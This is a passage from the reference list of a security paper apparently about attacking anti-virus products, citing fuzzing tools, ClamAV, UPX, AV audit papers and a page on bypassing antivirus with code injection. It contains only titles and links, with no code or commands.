14) http://upx.sourceforge.net/ 15) Audit Results of famous AVs by Alex Wheeler and Neel Mehta 16) 4 types of vulnerabilities in Anti-viruses: Whitepaper on Attacking Anti-virus by Feng Xue, Technical Lead, Nevis Labs. 17) Spike http://www.immunitysec.com/resources-freesoftware.shtml 18) Sully http://code.google.com/p/sulley 19) Webfuzz http://www.fuzzing.org/wp-content/webfuzz.zip 20) CalmAv http://www.clamav.net/lang/en/ 21) AxMan http://www.metasploit.com/users/hdm/tools/axman/ 22) ComRaider http://labs.idefence.com/software/fuzzing.php#more_comraider 23) sc.exe Utility in MS environment http://technet2.microsoft.com/WindowsServer/en/library/0a658e97-51d5-4109b461a474c799964e1003.mspx 24) Code Injection http://securityxploded.com/bypassing-antivirus-using-code-injection.php

Page 31

Page 32